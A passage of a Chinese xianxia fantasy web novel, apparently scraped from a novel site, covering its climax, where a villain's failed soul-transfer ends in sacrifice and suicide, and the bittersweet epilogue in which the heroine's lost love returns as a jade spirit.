在年玉的言语刺激下,商怀笙一动不动,周身被浓郁得如同实质的黏稠剑气所包裹,那股远超过她身体承受能力的能量在她失控的躯体内疯狂奔涌,累积,最终如同找到一个宣泄口搬,在她的天灵盖和周身百穴冲出! 红色光柱冲破结界,将天空染成一片诡谲的暗红色。 高明叶与雷啸同时出现在半空中,看到的便是商怀笙提剑指向黑袍人,以及他身后被结界困住的无辜百姓的局面。 而在她身后,躺着元妄的尸体,和不知死活的陆雪青。 雷啸怒喝一声,“保护太轩长老!!保护百姓!!商怀笙已入魔,杀无赦!” 高明叶还没搞清现在的状况,“等等……” 刹那的功夫,清律小队已经结阵,雷啸手持玉牌,一声令下,身后众人齐声应和,手中法诀引动,汇聚周身天地之气,化作无数道凌厉无比的阵雷,朝着被剑气包裹的商怀笙而去! “怀笙——!” 不远处传来一道饱含惊怒与焦灼的嘶吼声,黑袍下的年玉勾起唇角,略一挥手,那阵雷便在靠近商怀笙时消散,远远看去,竟像是被商怀笙的剑气所吸收了一样。 雷啸等人大惊失色,正欲再次结阵,却见天光由红转白,刚才还弥漫着的浓郁剑气,以肉眼可见地速度回到了断龙体内。 年玉望着依然恢复平静的商怀笙,露出不可置信地表情:这,怎么会这样? “你还当我是从前的商怀笙吗?只会用一身蛮力来控制断。”商怀笙强忍着悲伤,扯出一丝冷笑,“我知道,你的目的是激怒我,很可惜,师兄不希望我这样。” 在看到那群人出现的时候,她便猜到了年玉的目的,她会被当成入魔诛杀,断龙便会落入他人手中。 师兄已经死了,如果她也死了,师姐该多么伤心? 她不能留师姐一个人。 而且,最该死的不是她! 商怀笙忽的转变方向,提剑朝着石床上的尸体袭去,“你不是说这是你弟弟吗?那就跟他再说一次再见吧!” “商怀笙——!!” 年玉大惊失色,没想到商怀笙竟然突然就长了脑子,在极大的愤怒之下还能克制住自己的情绪,他真是小瞧了她! 年玉瞬间移动到石床,快商怀笙一步,带走了陈问的尸体,白布抖落的瞬间,年玉的兜帽也被她挑下,露出他的真实面容。 人群中寂静片刻,突然爆发出一阵议论声。 “怎么回事儿?不是太轩长老吗?” “怎么是三山宗的年玉师叔?他怎么会出现在这里?” “等等,他怀里的尸体是问玉师叔……不对,不像,那是……” “这究竟是怎么回事儿?” 暴露在众人面前,年玉有一瞬的慌乱,但他很快镇定下来,看着半跪在地上气喘吁吁的商怀笙,和不远处焦急跑来的身影,勾起唇角。 “这段时间你长了不少心眼啊,但你还是太弱了,你以为断龙在吸收你的怨气之后,还能甘心在你手里做一块废铁吗?” 商怀笙死死握住剑柄,断龙不断嗡鸣,发出不详的红光,仿佛烙铁般滚烫,已然将商怀笙的手掌灼烧得皮开肉绽,散发出焦糊的气味。 年玉说的没错,她快要压制不住断龙了,一股暴戾、冰冷,充满毁灭欲望的思想正如同潮水般涌向她的四肢百骸,试图再次吞没她的理智。 “断龙本来就是残缺的神器,一把嗜血的剑,怎么能没有剑鞘?”年玉抬眸,对上问玉的眸光,他下意识地闪躲,很快便坚定地迎了上去,笑道,“现在好了,你的剑鞘来了。” “怀笙……” “别碰我!!!” 商怀笙几乎是凭借本能,甩开了问玉的手,痛苦的呻吟在她齿缝间挤出,她的眼眸时而变成漆黑,时而恢复清明,在痛苦中挣扎着,已经马上要被吞噬。 问玉的目光扫过被年玉珍惜地抱在怀中的尸体,和商怀笙手中妖异的断龙,眼底闪过一丝极致的痛苦,“这就是你想要的吗?兄长。” “不要这么叫我!”年玉脸色铁青,“你不是我弟弟,你是玉魂,你侵占了我弟弟的身体,你抢了他的人生。” “难道不是你们强行把他的魂魄塞入我的身体,想要他来抢夺我的身体吗?你明明知道,我已经有了灵魂,有了意识,却还是强行将我带走。” 问玉冰冷的语气,如同一把利剑刺入年玉的心脏。 “我融合了陈问的记忆,忘却了自己的过去,成为你的弟弟,这不是你所期待的吗?你有什么资格来指责我?” 问玉深深地看了一眼痛苦不堪却还努力跟断龙斗争的商怀笙,眼神中的痛苦化为无比温柔的决绝,“是你为了一己私欲将我们两个分开百年,百年后再遇,却还要我再一次离开她。” “年玉,其实你一点也不爱你弟弟,不然也不会嫌弃他天赋不高,深夜把他丢在悬崖修行,导致他出了意外。” “怀笙,下一次见面,你要记得我。”问玉轻笑一声,并指如剑,刺入自己眉心,“我也会记得你的。” 一道无比纯粹的白色光华自他眉心迸出,将他整个人都包裹起来,如同飞蛾扑火般,义无反顾地扑向商怀笙和她手中的断龙。 “问玉——!” 商怀笙似乎预感到了什么,发出撕心裂肺的尖叫,想要阻止他,却被体内的剑气死死拖着,只能眼睁睁看着问玉的身体化作一道白光,如同温柔的流水一般,缓缓地包裹住她。 断龙如同被安抚的小兽,嘶鸣声渐渐低沉,挣扎的幅度越来越小,最后,所有的白光尽数收敛,灌注于断龙剑身,凝聚成一块晶莹剔透的玉石,镶嵌在断龙剑柄,散发着温润的光辉,牢牢地镇住了断龙。 商怀笙无力地跌落在地,天地之大,再不见问玉的身影。 “快,先把百姓救出来!” 宁静之后,高明叶迅速开始指挥四水阁弟子对百姓进行营救,雷啸愣愣地看着他们,还没能搞清楚现在的状况,只能将目光牢牢锁定在年玉的身上。 他抱着陈问的尸体,迅速赶向石床,手中掐着一丝光芒暗淡的如同丝线一样的东西,口中念念有词。 “没事,问儿,马上就回来了。” 他口中念着古老的咒语,正在搀扶商怀笙的高明叶忽的一滞,听出这便是当年宗溪祭器时他耳边回响的咒语。 那时一片混乱,他听不懂是什么意思,便努力记下来,花了很长时间翻阅古书,才知道这是移魂的咒文,且是一种非常恶毒的移魂邪术。 他一直在怀疑,宗溪真的是因为祭器而亡的吗? 现在,这种怀疑达到了顶峰,他想上前去质问年玉,却被商怀笙拉住了胳膊。 商怀笙满脸泪水,连气都喘不过来,她轻轻摇头,示意高明叶别冲动。 高明叶内心忽然被一种莫名的情绪击中,看着眼前的商怀笙,竟觉得十分陌生——他们那个经常闯祸的小师妹,什么时候长大了? 石床上的珠子散发出光芒,映在年玉的眼中,折射出他的疯狂与期待。 他嘴唇颤抖着,等待陈问再次睁开眼睛,可是时间一分一秒地过去,灵珠的光芒从耀眼变得黯淡,陈问也没有任何动静。 “……问儿?这、这怎么可能?” 商怀笙看向不远处被程公乐带走的陆雪青,眼中有一丝的畅快,以彼之道还治彼身,“幻想破碎的感觉怎么样?” “陆雪青是用归元鬼针固住了陈问的魂魄,但他看出了那丝魂魄的挣扎,他问过我,残缺的魂魄还有没有复活的可能性,我说没有,他便将那丝魂魄抽出,任他轮回了。” “年玉,你机关算尽,只不过是一场空梦而已。” “是你害得他不能轮回,是你让他变得不幸。” “这不可能——!!!” 一道凄厉绝望,犹如濒死野兽般的嘶吼从年玉口中炸响,他眼睁睁看着急速腐烂的尸体,整个人如同被抽走了所有的支柱,彻底崩溃了。 他疯狂地铺上石床上再无任何声息的尸骸,只剩下无边的悲恸,“问儿,你醒一醒,是兄长错了!是我错了!” 没得到任何回应,他变得愈发癫狂,“问儿?!你冷不冷,孤不孤单,兄长让他们去陪你好不好?” 他如鬼魅般转身,看向不远处跪在元妄尸体旁的商怀笙,眼中爆发出无边的恨意,“是你——!” 还没等他出手,数道强大的禁锢咒、捆仙锁如同天罗地网,瞬间罩住了他,一把剑抵在他喉间,年玉抬起头,对上眼神悲痛的宋良白,和他身后的三山宗四水阁弟子,以及太虚殿诸位长老。 “当时师父走的时候,应该把你一起带走的。”宋良白没能看到问玉的身影,已然猜到了结果,“我真的,以为你已经放下了。” 年玉垂眸,腮边滑落一滴眼泪,“问儿死的时候,我就该一起死的。” 说罢,他看一眼匆匆赶来,满脸焦急与疑惑的自己的徒弟徒孙们,自嘲地笑了笑,在宋良白惊慌的眼神中,徒手捏爆了自己的灵脉。 白光闪过,年玉倒在陈问的尸体旁,经脉具断,没了呼吸。 众人皆是沉默,三山宗弟子哭着跑过来,乱作一团。 商怀笙无心顾及这些,她待在元妄的尸体旁,握着断龙,不许任何人带走他。 她面无表情地流着眼泪,大脑放空,一片空白,听不见任何声音,也感受不到这个世界。 直到一只手伸到她眼前,商怀笙抬眸,对上秦湫含泪的脸庞,她努力挤出一个笑容,温柔地说,“怀笙,咱们回去了。” “……师姐!” 商怀笙扑到她怀里,嚎啕大哭。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m THE END 第75章 第七十五章 能够再次回到你身…… 冬天的最后一场雪, 在东风中消融。和神山那些光秃秃的枝干上冒出嫩绿新芽,阳光不再苍白无力,带着一丝久违的暖意, 懒洋洋地洒落在新生的草芽之上。 商怀笙踩过一截枯枝, 发出清脆响声,惊动不远处巡逻的三山宗弟子,为首的金田转过身来, 在看清来人后,脸上的警惕化作惊讶和犹豫,片刻后他甩甩衣袖,恭敬地朝商怀笙行礼。 “见过尊者。” 商怀笙面无表情地点了下头,越过他们走向了四水阁方向。 待她走远,金田身后的师弟小声嘟囔起来, “去年她还只在识灵期, 现在就已经悟道期了?” “不止, 她上一次回来的时候,我听说已经到破灵期了。” “不可能吧?!这才多久?几千年了修仙界也才出了一个破灵期。” “那位不是飞升渡劫没成功仙逝了吗?商怀笙她……” “商怀笙会成为第一个飞升成仙的人吗?” “啊, 那她会不会报复我们, 我们去年还跟她打过架。” “别闲聊了,师父还在等着。”金田打断他们,收回视线时伴随着一声叹息,“管她会不会飞升, 都和我们没有关系, 最近太虚殿的人盯得紧, 说话做事当心些。” 罗罗山一切如旧,商怀笙离开了大半个月,秦湫每日来打扫, 院子里一丝杂草都没有。 听到她的脚步声,秦湫摆出早准备好的点心,笑道:“这段时间辛苦了吧?正好,吕悠早上刚送了她培育的甜瓜,我给做成了点心。” “吕师姐最近怎么开始捣鼓这些,也不种她的药草了。” 商怀笙进门换了身衣裳,坐到檐下躺椅上,春风带着一丝凉意扑在脸上,她捻起糕点放进口中,无声地咀嚼,目光投向远处的天空,空无一物。 “她上次下山买了许多作物种子,可能是种上瘾了。”秦湫上下打量着商怀笙,“你没受什么伤吧?待会儿让她过来瞧瞧。” “没有……”商怀笙顿了顿,长眠海凶险,说自己一点没受伤秦湫肯定是不信的,摸了下自己的肩膀,道,“和一只长得像章鱼的海怪打架时,被它触手上的尖刺划伤了,已经结痂了。” 秦湫蹙起眉,“有毒吗?” “……我带了药,没事。”商怀笙按住秦湫想要查看自己伤势的手,笑道,“师姐,你放心好了,如果真的有事,我还能好好站在这里吗?” 秦湫眼里的担心简直快要溢出来,“你真是……这次多休养一段时间吧,下次不许去了。” “那不行,我可不放心太虚殿那群废物。”商怀笙大大咧咧地翘起二郎腿,握着秦湫的手,笑弯了眼睛,“就算我不去,他们也要求着我去呢。” “真是……”秦湫拧紧眉头,“没想到年玉师叔竟然破坏了长眠海数千年的阵法,他是想让天下苍生都给他陪葬吗?” 听到这个名字,商怀笙目光微凛,对秦湫还是挂着笑意,“这是破坏了一小部分而已,有那些老家伙们压着,暂时不会有太大问题。” “这是这些潜逃出来的部分便已经威力如此强大,真不敢想象如果它们全都逃出……唉,为这事各大宗门忙得不可开交,师父整日在太虚殿待着,清律小队那些人又常在和神山转悠。” 年玉破坏封印的事情一爆发,着实打了大家一个措手不及,离长眠海最近的溟都和云月都受到潜逃出来的妖兽重创,幸亏商怀笙他们早早感受到了异常前去阻止,不然不知道要死多少百姓。 现在年玉被列为头号危险分子,连三山宗的人也在太虚殿的严密监视下,正在肃清那些与年玉同谋的人。 天泉医谷的池修,太虚殿的侯之,太轩,李迎灯……这些与他交往甚密或是有过私下接触的人都被一一盘问过,他们有些只是被利用,知道年玉想要复活自己的弟弟,但对于他想拉全天下陪葬的事情一概不知,知道后也是痛骂不止。 年玉轻飘飘地死了,修真界却是因他乱作一团,要处理他留下的一堆烂摊子。 两位长辈同一天身亡,闻惠暂代三山宗掌门,一边接受着清律小队的盘问,一边要稳住三山宗的人心,盯着骂名处理年玉的身后事。 宋良白帮衬良多,但因为元妄的死,三山宗与四水阁的关系更加紧张,和以前的小打小闹不同,四水阁弟子对三山宗的恨意几乎达到顶峰,险些便要与其开战,从来不干涉这些的宋良白匆匆从外面赶回来,阻止了他们。 陆雪青回了落凤原,南宫汀本想劝他留在天泉医谷,但陆雪青已经知道当年他母亲就是因为牵扯进陈问的事情才离开了天泉医谷。 她强行给陈问移魂,察觉玉身中已有玉魂后她后悔不已,觉得自己是在帮助陈问夺舍,受不了良心的谴责才放弃了修行。 凌云带着凌盛去自首,坦白了境外试炼的真相,引起众怒,要求重责李迎灯几人,这事儿到现在也没个结果。 这些都是秦湫转述给商怀笙的,从龙骧卫回来的一个月里,她闭门不出,除了秦湫谁也不见,每日只是坐在院子里发呆。 元妄被葬在了罗罗山的后山,小时候她养过一只小鸟,却控制不住自己的力气,不小心将它捏死了,元妄便把那只鸟葬了后山。 当时商怀笙一边哭着道歉一边看元妄给它挖坟,元妄还安慰她说明年这里会长出新的小鸟,现在她也亲手将元妄葬在了那里,亲手给他挖坟立碑。 尘归尘,土归土,她不知道元妄死后会不会转世轮回,她甚至连他的魂魄都没见过。 秦湫说那是因为他的人生没有遗憾,所以早早度过长眠海,去了鬼界。 后来长眠海的妖兽窜逃,她跟随高明叶前去平乱,无数次经过鬼界入口,她都很想去问一问,元妄转世到了哪里,有没有过上他想要的生活。 她还想问一问,问玉有没有再入轮回。 但她不敢。 商怀笙在前尘镜里看到了问玉和她的前世,她是镇压断龙的山,问玉是断龙的镇器之玉。 断龙没有剑鞘,他是众神联手创造出来的镇器玉,能够镇压断龙的邪性。 商怀笙是山灵,两人已经一起镇压了断龙数千年。 如果不是为了复活陈问,他们应该还会一直待在那里,相伴在一起。 但问玉被年玉带走,成为年玉的弟弟之后,他又来带走了断龙,商怀笙找了他们许久,被年玉发现,设计让她投胎。 她的诞生便是有朝一日能够带走问玉。 像他们这样的魂魄,是不会入轮回的,死了便是死了,神魂俱灭。 商怀笙慢慢想通了这一点,但在日以继夜地厮杀之中,她已经麻木,无心再去怨恨去愤怒,没了嚎啕的悲痛,没有激烈的愤懑,只有一种深入骨髓的、无可奈何的悲伤。 只是夜里看着断龙剑柄上那块光华流转的玉,她总是无意识地流下泪来,她和问玉还有太多事情没有做,他们重逢的时间太短暂。 商怀笙回家待了三日,便又启程去了日曜城,参加李承允的婚礼,途径和神山,才发现原先的嫩芽不知何时竟然绽出了一个小花苞。 春天真的要来了,商怀笙知道,只是,她的冬天,永远停留在了过去。 * 日曜城,将军府。 春月和冬星正在讨论陛下大婚的事情,李承允和丞相女儿强强联合,婚礼的规模也是大庆开国之最。 商叙调侃道:“大庆开国以来也只有这一次帝后婚礼,当然是最盛大的。” 她的内心已经十分平静,泛不起任何波澜,刚回到日曜城的时候,李承允宴请她和陆雪青,酒醉之时,潸然泪下,说他不想成亲。 他的眼眸中泪光闪烁,一如他们当年皇宫初见,他被李昱辰责骂后逃跑,阴差阳错撞鞜樰證裡到商叙摔到,霎时便掉了眼泪,也是哭得这样楚楚可怜。 商叙笑着安慰他,将忘忧果放进了他杯中。 他是大庆的皇帝,他的职责是保国安民,让江山永固,天下太平,国泰民安。 居其位,谋其事,其他的,都是可以舍弃的。 两人兴致勃勃地聊起那件缝制了三个月的婚服,商叙抬起头,看到商怀笙面无表情地端着茶盏,另一只手往嘴里塞着蜜枣,嚼了两口便囫囵吞下。 上次她和问玉来过后,商叙和商怀笙又见了三四次,但没再见过问玉。 云月都与长眠海离得太近,常有妖魔作乱,有一批修士专门在云月都驻守,商叙在他们口中隐隐听说了修真界发生了大事,一个门派的两位道长皆身亡,商怀笙那位如亲哥哥一样的师兄也去世了。 自那以后商怀笙便是这样的状态,平时说话时倒是没什么异常,安静的时候便是眼神空洞,好似陷入了一片虚无。 “姐姐。” 商叙叫了她一声,商怀笙的眼神重新聚焦,冲她露出笑容,“怎么了?” “城外的桃花开了,要不要去看看?” “桃花都长一个样子,没什么好看的。” “可是我想去看嘛,你御剑带我好不好?”商叙挽着她的手腕,撒起娇来,“我长这么大都没有御剑在天上飞过,陆雪青说他都飞过好多次了。” 商怀笙露出无奈又宠溺的笑容,“行。” “那咱们现在就出发吧!” 商叙拉着她出门,腕上的断龙恢复原形,载着二人一起飞到空中,掠过高耸的城墙,将处处张灯结彩的日曜城抛之脑后。 视野豁然开朗,不远处大地之上,仿若有大片粉色云霞坠入人间,千树万树桃花开放,绵延至远山脚下,在春风的抚摸下,泛起柔和的涟漪。 林外停着数辆马车,看来不止商叙一人有此雅兴,商怀笙找了个人少的地方落下,刚把断龙收起,商叙便拉着她朝花林深处跑去。 “姐姐快看,下雨了!!” 花瓣随风旋舞,如一场骤急的香雪,纷乱飞舞的粉色令人目眩神迷,浓郁的花香几乎要使人溺毙其中。 商怀笙脸上挂着笑容,注视着商叙的笑颜,心中某个角落平静柔和,仿佛又回到了小时候…… 只一个刹那,她想起年玉说家人因她而死,笑容僵在脸上,在粉色花雨中,心脏刺痛。 “怀笙?” 身后传来熟悉的身影,打断了商怀笙的思绪,她转过身,一个熟悉的声音映入眼帘。 “小叙也在啊。” 陆雪青一袭青衣落拓,与这粉白桃花相得益彰,花瓣落在他乌黑发间,他也浑然不觉。 “你怎么也在这儿?”商叙看了商怀笙一眼,有些慌张地解释道,“我真的是想看桃花才来的,可不是故意给你们制造机会的。” 陆雪青勾唇,戏谑道:“我可都听到了,你就不能小点声?” 他转向商怀笙,脸上是坦然的笑意,“日曜城的城外桃林甚美,我年年都来,倒是小叙你,以前从不肯来,说桃花都长一个样子,没什么好看的,今日怎么有这个闲情雅致?” 商叙白他一眼,“我现在有我姐姐陪伴,和以前能一样吗?” 陆雪青道:“你真是越发小孩子心性了。既然来了,山脚有家酒楼,二位姑娘可否赏脸与我一同用个午膳?” 商怀笙动了动嘴唇,还没开口,商叙便应下来,“行,姐姐你还没吃饭呢。我听说过那家酒楼,在日曜城很有名的,只是从前生病,很少出城。” 商怀笙来了有两日,除了糕点,便只吃过一顿饭,没吃几口便放下了。 她说想去,商怀笙自然不会拒绝,便随着二人一同下山,一路上听着二人插诨打科,暂时忘却了那些不好的事情,吃饭时商叙一直殷勤地给她夹菜,商怀笙也吃的比平时多许多。 午后,陆雪青将二人送回将军府,临别前不止从哪儿变出两支桃花金簪来,说是给二人的同游赠礼。 他眼里有小心翼翼地克制与紧张,商怀笙没有注意到,也没有见到他颤抖的手,接过来随手簪在了头上。 “多谢。” “……不用谢。” 商怀笙独自进了院门,行尸.走/肉般的状态让身后的两人揪心不已。 “你看到了没?姐姐她现在都不吃饭了,我实在是担心。” “她已经辟谷,吃不吃饭倒是无所谓,只是……”陆雪青想起那日龙骧卫发生的事情,蹙紧眉头,“她可能需要一段时间。” “我听说了,姐姐的道侣……死了。”商叙用胳膊捣了他一下,“你呢?你不会是想趁虚而入吗?” 陆雪青苦笑,“你看她现在这幅样子,心里怎么还容得下旁人?我已经不奢求什么了,这样偶尔一起同游吃饭便心满意足了。” 商叙不解,“那你还送簪子?这金簪价值不菲吧,你别说是你随手买的。” 陆雪青咬牙,“我没给你买吗?!” “你以前从不送我这些,不就是怕姐姐不收嘛?” “你、你……你不要就给我!”陆雪青脸颊薄红,“我是不奢望成为她的爱人了,我还不能对她好吗?!” “行行行。”商叙握着簪子,笑嘻嘻地挥手送别他,“陆督主少男怀春,你要继续你的单恋,咱也不能阻止。” “不许在你姐面胡说!” 陆雪青甩下车帘,愤愤离开。 * 商怀笙回来没多久,天一暗便上床歇着了,这几天她总觉得困倦,不知道是不是前段时间在长眠海太劳累的缘故。 断龙这些日子也很安静,商怀笙本来寄希望于它能凝聚出剑灵,但它一点反应也没有。 睡前商怀笙把断龙挂在了一旁,摸着佩戴过断龙的手腕,商怀笙迷迷糊糊地想,今天断龙似乎有些发烫,可能是因为天气暖和了。 困意袭来,商怀笙很快进入深眠。 她睡下没多久,一束白光自断龙体内凝聚而出,奔向了梳妆台上的桃花簪子,缠住簪身,费力地往下拽,沉重地金簪艰难地在桌子上移动着,终于掉到了地上。 轻微的响声使得床上的商怀笙动了动,她翻了个身,意识有一瞬的清醒,半梦半醒间,好像有蚊子在她脸颊上咬了一下,耳边也响起嗡嗡的响声。 “不许!不许跟别的男人一起赏花!” “不许收他的东西!” 大冷天的怎么会有蚊子? 商怀笙的手在空中挥了挥,又沉沉睡去。 * 李承允大婚当日,商怀笙作为贵客,和相文客、商叙、陆雪青同席。 对于这三个比他小十几岁却和他平起平坐的毛孩,相文客心头有淡淡的不悦,但想到今日是女儿大婚的日子,他也换上笑容。 “许久不见商将军……商道长了,道长风采依旧。” “嗯,你也长了两道皱纹,要好好保养。” 相文客咬牙,“道长说话还是这样直爽。” 商怀笙看着眼前泛着油光的鸡肉,半点胃口都没有,“你别老叫我道长了,听着比你还老,还是叫我名字吧。” 相文客伶牙俐齿,身份又尊贵,朝中几乎没有人敢跟他这样说话,商叙和陆雪青对视一眼,忍不住偷笑。 相文客咬牙切齿:“……怀笙。多谢你赏脸来参加小女婚礼。” “我是看在我妹妹的面子上才来的。”商怀笙说,“他们都原谅你了,我也不好再说什么。” 相文客笑容一僵,怕她再提起当年他想暗杀商叙和陆雪青事情,便转移了话题,“说起来小女和陛下年纪相仿,且比三位都要年幼,三位怎么一点动静都没有?” 相文客看向陆雪青,“陆督主最为年长,可有中意的女子?若是喜欢,可以让陛下直接赐婚。” 陆雪青顿了顿,目光不自觉地朝着商怀笙的方向瞥了一眼,正色道:“陆某并无成家之意。” “是吗?”相文客觉察到他的视线,笑道,“听闻陆督主和怀笙将军是青梅竹马,自小就哎呦——!” 他惊叫一声,拍了下手掌,“有虫子咬我。” 商怀笙抬眸,感受到手腕上一阵温热,瞬间意识到了什么,起身离席,来到一处僻静之地。 “出来。”她低声道,平静的语气下蕴藏着无尽的期待和恐慌,“快出来!” 是断龙的剑灵,还是…… 商怀笙咬着嘴唇,身体微颤,“城中新开了一家乐楼……” “不许去!” 一个瓮声瓮气的熟悉声音响起,商怀笙眼前闪过白光,腕上的断龙也开始变得滚烫。 “你不许去找别人!” 白光渐渐凝聚在一起,变成了一张熟悉的脸庞,他皱着眉,似乎在拼命地用力,可最终也只是变成了脑袋大小的小人,漂浮在半空中。 看到问玉的脸,商怀笙眼泪决堤,喷涌而出,问玉霎时慌了神,凑过来替她擦眼泪,“不要哭,我本来想等长大一点再出来见你的。” 他还没有实体,碰到商怀笙脸颊时像是被风拂过一样,轻飘飘的,却能感觉到温柔。 “你这个混蛋……一直待在我身边却不告诉我?!你就眼睁睁看着我难过?” “我、我是最近才开始聚灵的,我是玉,只要这块玉在,我就能重聚灵魂,我也是刚知道的。”问玉想要抱住她,身体却太小,只能把自己的脑袋往商怀笙的手掌上撞,“你打我吧!别哭了……” 商怀笙挥手,却穿过了问玉透明的身体,她愣了愣,哭得更厉害了,“你现在和鬼魂有什么区别?” “我不是鬼魂,是玉魂。”问玉贴过来,亲吻商怀笙的眼角,试图止住她的眼泪,“我不仅能聚灵,还能凝聚出实体……或者你给我捏一个身体,我附在上面也可以的。” “真的?”商怀笙半信半疑。 “真的!” 商怀笙眼珠子转了转,“那……” “不许给我捏别人的脸别人的身体!!” “噗嗤——” 商怀笙破涕为笑,把他揽进怀中,“你能回来就好了,我……很开心。” 问玉闭上眼睛,感受着商怀笙的心跳,道:“我也很开心。” 能够再次回到你身边。 * 商怀笙离席又回来,宴席之上已经酒过三巡。 刚才的话题已经被揭过,相文客三人喝得都有些微醺,看着商怀笙脸上的笑容,商叙和陆雪青都十分诧异。 相文客忍不住调侃,“怀笙将军出去一趟回来,可是遇到了什么喜事?” 商怀笙端起酒杯,脸上不再是强装出来的笑容,她摸着手腕,发自内心地笑道:“是啊,宫里的桃花开了,甚美。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m